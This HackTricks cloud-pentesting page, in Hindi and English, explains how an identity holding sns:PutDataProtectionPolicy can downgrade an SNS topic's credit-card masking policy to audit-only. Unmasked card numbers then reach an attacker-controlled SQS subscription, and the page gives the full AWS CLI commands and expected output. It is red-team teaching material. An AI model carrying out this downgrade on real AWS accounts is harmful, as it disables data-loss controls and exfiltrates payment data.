AWS - SNS Message Data Protection Bypass via Policy Downgrade

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

यदि आपके पास किसी topic पर sns:PutDataProtectionPolicy की अनुमति है, तो आप इसकी Message Data Protection policy को Deidentify/Deny से Audit-only (या Outbound controls हटाकर) में बदल सकते हैं ताकि संवेदनशील मान (उदा., credit card numbers) बिना संशोधन के आपकी subscription पर भेजे जाएँ।

आवश्यकताएँ

  • लक्ष्य topic पर sns:PutDataProtectionPolicy कॉल करने की permissions (और आमतौर पर sns:Subscribe यदि आप डेटा प्राप्त करना चाहते हैं)।
  • Standard SNS topic (Message Data Protection समर्थित)।

Attack Steps

  • Variables
REGION=us-east-1
  1. एक Standard topic और एक attacker SQS queue बनाएँ, और केवल इस topic को उस queue को भेजने की अनुमति दें
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
  1. एक data protection policy attach करें जो outbound messages पर credit card numbers को mask करे
cat > /tmp/ht-dlp-policy.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "MaskCCOutbound",
"Principal": ["*"],
"DataDirection": "Outbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
  1. attacker queue को subscribe करें और एक test CC नंबर के साथ message publish करें, masking को verify करें
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All

अपेक्षित अंश masking (हैश) दिखाता है:

"Message" : "payment:{cc:################}"
  1. नीति को audit-only में डाउनग्रेड करें (कोई deidentify/deny स्टेटमेंट जो Outbound को प्रभावित करते हैं नहीं)

SNS के लिए, Audit स्टेटमेंट्स को Inbound होना चाहिए। नीति को Audit-only Inbound स्टेटमेंट से बदलने से किसी भी Outbound de-identification को हटा दिया जाता है, इसलिए संदेश बिना बदले subscribers को भेजे जाते हैं।

cat > /tmp/ht-dlp-audit-only.json <<'JSON'
{
"Name": "__ht_dlp_policy",
"Version": "2021-06-01",
"Statement": [{
"Sid": "AuditInbound",
"Principal": ["*"],
"DataDirection": "Inbound",
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
}]
}
JSON
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
  1. वही संदेश प्रकाशित करें और सत्यापित करें कि अनमास्क्ड मान डिलीवर हुआ है
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All

अपेक्षित अंश cleartext CC दिखाता है:

4539894458086459

प्रभाव

  • किसी topic को de-identification/deny से audit-only में स्विच करने (या अन्यथा Outbound controls हटाने) से PII/secrets बिना बदले attacker-controlled subscriptions तक पहुँच जाते हैं, और इससे data exfiltration संभव हो जाती है, जो अन्यथा masked या blocked रहती।

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें